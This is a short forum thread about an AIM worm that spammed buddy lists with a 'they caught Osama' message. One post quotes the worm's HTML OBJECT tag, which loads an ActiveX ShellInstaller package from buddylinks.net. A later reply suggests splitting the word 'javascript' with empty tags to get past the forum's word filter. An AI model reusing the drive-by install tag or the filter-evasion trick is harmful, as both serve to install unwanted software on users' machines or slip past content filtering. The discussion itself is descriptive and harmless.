new AIM virus
 

OK, so twice today, at 2 different times, i am BOMBARDED with messages from people on my buddy list -

apparently a message was sent out, something along the lines of they caught OSAMA - to everyone on my buddy list..

anyone heard of this?

I didn't know AIM had virues! :1orglaugh

jDoG

congrats dude, you are hilarious.

har har har.

huh

this happened to some one else today on the board. its an exploit of some sort.

I didn't mean it against you, I'm just thought it was funny that AIM had virues, I don't use AIM, so I don't know what type of exploits it has! Nothing personal man!

jDoG

Yep! It actually uses the follwing method:

OBJECT ID="ShellInstaller" WIDTH=0 HEIGHT=0
CLASSID="CLSID:FDDCE9FF-1FC6-413c-80B1-37B101FDA1D4"
CODEBASE="http://download.buddylinks.net/ShellInstaller.cab#Version=1,0,0,001
"
/OBJECT

To install ShellINstaller.INF (Size: 2,119) and ShellInstaller.ocx (Size
81,920), which is an ActiveX control. That's all I've found so far.

Looks like buddylinks.net site is getting hammered because of the load.

No clue why the actual script turns to "hahahahaha"

sounds 'serious' ...

ja.va.scr.ipt is a banned word

what about <i></i>j<i></i>avascript?